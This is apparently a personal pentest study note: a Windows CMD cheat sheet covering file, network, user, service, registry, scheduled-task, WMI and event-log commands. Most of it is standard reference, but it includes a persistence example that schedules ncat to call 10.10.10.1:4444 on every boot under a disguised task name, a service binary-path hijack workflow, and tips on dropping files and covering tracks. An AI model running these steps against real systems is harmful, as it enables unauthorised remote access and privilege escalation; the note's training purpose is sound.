knowledge

Overview

Windows Command Line (CMD) provides core commands and utilities for interacting with the Windows OS, managing processes, retrieving system information, and performing network diagnostics. These commands are essential for administration, troubleshooting, and security investigation on Windows systems — and form the foundation for understanding the Windows environment before moving to PowerShell.


Terminology

TermDefinition
CMDWindows Command Prompt; built-in command-line interpreter
PID (Process ID)Unique number assigned to each running process
Environment VariableSystem-wide variable storing configuration values (e.g., PATH)
DLL (Dynamic Link Library)Shared library files loaded by processes at runtime
NetstatUtility displaying active network connections and listening ports
FlagOptional modifier appended to a command to change its behavior
DACLDiscretionary Access Control List; defines who can access an object and at what level
SACLSystem Access Control List; logs access attempts to objects
ACEAccess Control Entry; individual rule within an ACL
SIDSecurity Identifier; unique ID assigned to user/group accounts
SDDLSecurity Descriptor Definition Language; string format representing a security descriptor

Core Concepts

Accessing CMD

  • Win + R → type cmd → Enter
  • Path: C:\Windows\System32\cmd.exe
  • Search “Command Prompt” in Start Menu
  • Use command /? on any command to display help and available flags

Getting Help & History

CommandDescription
helpList all built-in CMD commands with brief descriptions
help <command>Detailed help for a specific command
<command> /?Alternative help flag used by some commands
clsClear the screen
doskey /historyShow all commands run in the current session
F3Retype the entire previous command
F5Cycle backward through command history
F7Interactive scrollable history list
F9Enter a command by its history number
CTRL + CInterrupt and stop a running process

Offline reference: https://ss64.com/nt/ — covers CMD, PowerShell, and Bash flags comprehensively.

System Information

CommandDescription
verDisplays current Windows version
systeminfoDetailed OS and hardware information
driverqueryLists all installed drivers
setDisplays environment variables including PATH

File System Navigation & Management

CommandDescription
dirLists files and directories in current location
dir /aShows hidden and system files
dir /sRecursive listing of all files and subdirectories
dir /A:R *Find files with a specific attribute (R = read-only; H = hidden)
cd <path>Change directory; without arguments prints the current path
treeVisualizes directory structure hierarchically
tree /FVisualizes directory tree including all files
type <filename>Displays contents of a text file
more <filename>Displays file contents one screen at a time; press Space to advance
more /S <filename>Same as above but compresses consecutive blank lines
copy <source> <dest>Copies a file to destination
move <source> <dest>Moves a file to destination
del <filename>Deletes a file
erase <filename>Identical to del; alternative alias
del /A:R <filename>Delete read-only files; /A:H targets hidden files

Pentest note: C:\Windows\Temp is world-writable (all users have read/write/execute) — useful for dropping files as a low-privilege user. C:\Users\<user>\AppData\Local\Temp is fully owned by the target user account — useful when operating as that user.

Creating and Renaming Files

CommandDescription
md <name>Create a new directory (alias: mkdir)
rd <name>Remove an empty directory (alias: rmdir)
rd /S <name>Remove a directory and all contents recursively
ren <old> <new>Rename a file or directory (alias: rename)
echo <text> > <file>Write text to a file (overwrites existing)
echo <text> >> <file>Append text to a file
fsutil file createNew <file> <bytes>Create a file of a specific size in bytes

Copying and Moving Files

CommandDescription
xcopy <src> <dest>Extended copy; handles directories and can strip read-only attributes
xcopy /E <src> <dest>Copy all subdirectories including empty ones; resets file attributes
xcopy /K <src> <dest>Retain original file attributes (read-only, hidden) during copy
robocopy <src> <dest>Successor to xcopy; designed for large directories and network drive sync
robocopy /E <src> <dest>Copy all subdirectories including empty ones
robocopy /MIR <src> <dest>Mirror source to destination; removes destination files not in source
robocopy /A-:SH <src> <dest>Remove System and Hidden attributes from copied files
robocopy /L <src> <dest>Dry run — show what would happen without executing

Note: robocopy with /MIR marks files as system backup — use /A-:SH to strip those attributes afterward if needed. Requires SeBackupPrivilege for some system files.

File Redirection Operators

OperatorDescription
>Redirect output to a file (overwrites)
>>Append output to a file
|Pipe output of one command as input to another
<Use a file’s contents as input to a command
&Run two commands regardless of whether the first succeeds
&&Run the second command only if the first succeeds
||Run the second command only if the first fails

Finding Files and Text

CommandDescription
where <name>Search PATH environment variable for an executable or file
where /R <path> <name>Recursively search from a starting path
find "text" <file>Search for a literal text string inside a file
find /V "text" <file>Find lines that do NOT contain the text
find /N "text" <file>Show matching lines with line numbers
find /I "text" <file>Case-insensitive search
findstr <pattern> <file>Regex-based search — closer to grep; supports multiple patterns
comp <file1> <file2>Compare two files byte-by-byte (default: decimal format)
comp /A <file1> <file2>Compare in ASCII format
fc <file1> <file2>Show which lines differ between two files (more readable than comp)
fc /N <file1> <file2>File compare with line numbers shown
sort <file>Sort lines of a file; can receive input from pipe
sort /O <out> <file>Write sorted results to a different file
sort /unique <file>Output only unique lines
openfilesShow files currently open on the local or remote host and which user has them open; requires admin and must be enabled first with openfiles /local on

Environment Variables

Environment variables store configuration values accessible to the OS and applications. On Windows they are case-insensitive and can contain spaces and numbers, but cannot start with a number or contain an equals sign. Reference a variable with %VARIABLE_NAME%.

Variable Scopes

ScopeAccessible ByRegistry Location
SystemAll users and processes; requires Local/Domain Admin to modifyHKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
UserCurrent user onlyHKCU\Environment
ProcessCurrent process only; volatile — lost when process endsIn memory only; inherits from System and User scopes

Managing Environment Variables

CommandDescription
setDisplay all currently defined environment variables
set %NAME%Show the value of a specific variable
set NAME=ValueCreate or update a variable for the current CMD session only
setx NAME ValueCreate or update a variable persistently (writes to registry; takes effect in new sessions)
setx NAME ""Delete a variable by setting its value to empty

setx can also target remote machines across a domain — useful for managing environment variables at scale.

Common Built-in Variables

VariableExpands To
%PATH%Directories searched when running an executable
%OS%Current OS name (e.g., Windows_NT)
%SYSTEMROOT%C:\Windows — Windows system directory
%LOGONSERVER%Hostname of the authentication server for the current user
%USERPROFILE%Current user’s home directory (C:\Users\<username>)
%ProgramFiles%C:\Program Files — 64-bit application install directory
%ProgramFiles(x86)%C:\Program Files (x86) — 32-bit applications under WOW64
%APPDATA%User application data (C:\Users\<user>\AppData\Roaming)
%TEMP%Current user’s temporary files directory

Full variable reference: https://ss64.com/nt/syntax-variables.html


Network Diagnostics

CommandDescription
ipconfigDisplays basic IP configuration
ipconfig /allFull details including DNS, MAC address, and gateway
ping <host>Tests connectivity to a host
tracert <host>Shows route packets take to reach a host
nslookup <domain>Queries DNS for a domain — see nslookup
netstatDisplays active connections and listening ports
netstat -aAll connections and listening ports
netstat -bShows executable associated with each connection
netstat -oShows PID associated with each connection
netstat -nDisplays addresses and ports numerically
netstat -anoAll connections with PIDs in numeric format — correlate to processes
arp -aDisplays ARP cache; reveals hosts on the local network segment
route printShows full routing table including default gateway

User & Privilege Enumeration

CommandDescription
whoamiCurrent logged-on user
whoami /privList privileges assigned to current token; key for privilege escalation
whoami /groupsList all group memberships of current user
whoami /allFull token dump — user, groups, and privileges combined
net userList all local user accounts
net user <username>Detailed info on a specific user — last logon, group memberships, password policy
net localgroupList all local groups
net localgroup administratorsList members of the local administrators group
net localgroup "<group>" <user> /addAdd a user to a local group

Share & Network Resource Management

CommandDescription
net shareList all active network shares on the system
net useView or connect to network shares
net use Z: \\<host>\<share>Map a network share to a drive letter
net view \\<host>List shares on a remote host

File Permissions — icacls

icacls views and modifies NTFS permissions on files and folders.

CommandDescription
icacls <path>View permissions on a file or directory
icacls <path> /grant <user>:(F)Grant Full Control to a user
icacls <path> /grant <user>:(OI)(CI)(F)Grant Full Control including all subdirectories and files
icacls <path> /remove <user>Remove all permissions for a user
icacls <path> /resetReset permissions to inherited defaults

Inheritance Flags

FlagMeaning
(OI)Object Inherit — applies to files in this folder
(CI)Container Inherit — applies to subfolders
(IO)Inherit Only — does not apply to the folder itself
(NP)No Propagate Inherit
(I)Permission inherited from parent

Reference: icacls /? or https://ss64.com/nt/icacls.html

Process & Service Overview

CommandDescription
tasklistList all running processes with name and PID
tasklist /svcShow which services are running under each process
tasklist /FI "imagename eq sshd.exe"Filter running processes by image name
tasklist /m /FI "PID eq 1304"Show all DLLs loaded by a specific process (useful for DLL hijacking checks)
taskkill /PID <target>Kill a process by its PID
net startList all running services
net start <service>Start a named service
net stop <service>Stop a named service
net pause <service>Pause a service
net continue <service>Resume a paused service

Service Management — sc

sc (Service Control) queries and modifies Windows services.

CommandDescription
sc queryList all running services
sc query type= allList all services (including stopped)
sc qc <service>Query full configuration of a service (binary path, start type, account)
sc \\<host> query <service>Query a service on a remote host
sc start <service>Start a service
sc stop <service>Stop a service
sc config <service> binPath= "<path>"Change the binary path of a service
sc sdshow <service>Show the service security descriptor in SDDL format

Reading SDDL output from sc sdshow:

  • D: — DACL entries follow
  • (A;;CCLCSWRPLORC;;;AU)A = allow; AU = Authenticated Users; codes are permission flags
  • Common DACL flags: CC = query config, LC = query status, SW = enumerate dependents, RP = start service, LO = interrogate, RC = read control

Registry — reg

CommandDescription
reg query <key>List values and subkeys at a registry path
reg query <key> /v <value>Query a specific value
reg query <key> /sRecursively query all subkeys
reg add <key> /v <value> /t REG_SZ /d <data>Add or modify a registry value
reg delete <key> /v <value>Delete a specific registry value
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunView programs set to run at startup (HKLM)
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunView programs set to run at startup (HKCU)

Scheduled Tasks — schtasks

CommandDescription
schtasks /query /fo LIST /vList all scheduled tasks with full verbose detail
schtasks /query /fo TABLEList tasks in compact table format
schtasks /create /sc onlogon /tn "<name>" /tr "<command>"Create a task that runs at logon
schtasks /create /sc minute /mo 1 /tn "<name>" /tr "<command>"Create a task that runs every minute
schtasks /delete /tn "<name>" /fDelete a scheduled task
schtasks /run /tn "<name>"Manually trigger a scheduled task immediately
schtasks /change /tn "<name>" /tr "<newcmd>"Change the command a task runs
schtasks /change /tn "<name>" /ru <user> /rp <password>Change the user credentials a task runs under
schtasks /change /tn "<name>" /ENABLEEnable a disabled task
schtasks /change /tn "<name>" /DISABLEDisable an active task

Additional create flags:

FlagDescription
/rl LIMITEDRun with limited (standard user) privileges — default
/rl HIGHESTRun with highest available privileges
/zDelete the task automatically after it completes once
/mo <n>Modifier for schedule frequency (e.g., every n minutes)
/s <host>Target a remote host; requires /u and /p for credentials

Persistence example — create a task that phones home to a C2 on every reboot: schtasks /create /sc ONSTART /tn "UpdateTask" /tr "C:\Users\user\AppData\Local\ncat.exe 10.10.10.1 4444"

WMI — wmic

wmic provides a command-line interface to Windows Management Instrumentation.

CommandDescription
wmic os list briefOS version, build, and system name
wmic computersystem get name,usernameHostname and currently logged-on user
wmic useraccount get name,sidList all local user accounts with their SIDs
wmic service list briefAll services with name, PID, state, and start mode
wmic process list briefAll running processes (name, PID, parent PID, handles)
wmic process where name="<proc>.exe" deleteKill a process by name
wmic startup list briefPrograms configured to run at startup
wmic product get name,versionList all installed software
wmic bios get serialnumber,versionBIOS serial number and version
wmic logicaldisk get name,size,freespaceDrive space on all logical disks
wmic nic get name,macaddressNetwork adapters and MAC addresses

Windows Event Log

Windows logs system activity into structured event records. SOC analysts use these to detect attacks; pentesters review them to find information and cover tracks.

Log Categories

LogPurpose
SystemEvents from Windows OS components (driver failures, service crashes)
SecurityLogin successes/failures, file access, audit events
ApplicationEvents from installed software
SetupEvents generated during Windows installation; AD events on domain controllers
Forwarded EventsLogs collected and forwarded from other hosts

Event Types

TypeDescription
ErrorMajor problem (e.g., a service failed to load)
WarningPotential issue that may need attention (e.g., low disk space)
InformationNormal successful operation
Success AuditA security-audited action succeeded
Failure AuditA security-audited action was denied

Severity Levels

LevelValueMeaning
Verbose5Progress or success messages
Information4Normal operational event
Warning3Potential problem worth investigating
Error2Non-critical issue related to a service or component
Critical1Significant failure requiring immediate attention

Default log storage: C:\Windows\System32\winevt\logs

wevtutil — Command-Line Event Log Tool

wevtutil queries, exports, and manages Windows event logs from CMD.

CommandDescription
wevtutil elList all available log names on the system
wevtutil gl "Windows PowerShell"Get configuration details for a specific log (max size, retention)
wevtutil gli "Windows PowerShell"Get current log status (number of events, last write time)
wevtutil qe Security /c:5 /rd:true /f:textQuery the 5 most recent Security log events in readable text format
wevtutil epl System C:\system_export.evtxExport all events from the System log to a file; requires local admin

Filter by event ID for targeted investigation — see Log Fundamentals for key event IDs to monitor.

References: https://www.thewindowsclub.com/what-is-wevtutil-and-how-do-you-use-it


GUI Access

CommandDescription
control /name Microsoft.WindowsUpdateOpens Windows Update panel

Quick Reference Workflows

System Recon

systeminfo — grab OS version, hostname, patch level, and hardware info in one command

Network Troubleshooting

ipconfig /all → verify IP, DNS, gateway ping <host> → test basic connectivity tracert <host> → identify where packets are being dropped

Process Investigation

tasklist /FI "imagename eq <process>" → find a specific process netstat -ano → correlate open connections with PIDs tasklist /m /FI "PID eq <PID>" → see what DLLs a suspicious process has loaded

Privilege Escalation Recon

whoami /all → dump current user token (user, groups, privileges) net localgroup administrators → who has local admin? wmic service list brief → any misconfigured services? schtasks /query /fo LIST /v → any writable scheduled task paths? reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run → startup persistence

Service Abuse (Misconfigured Binary Path)

sc qc <service> → find binary path and start type icacls "<binary path>" → check if your user can write to the binary sc config <service> binPath= "<malicious path>" → replace binary (if writable) sc stop <service> && sc start <service> → restart to trigger execution



References / Images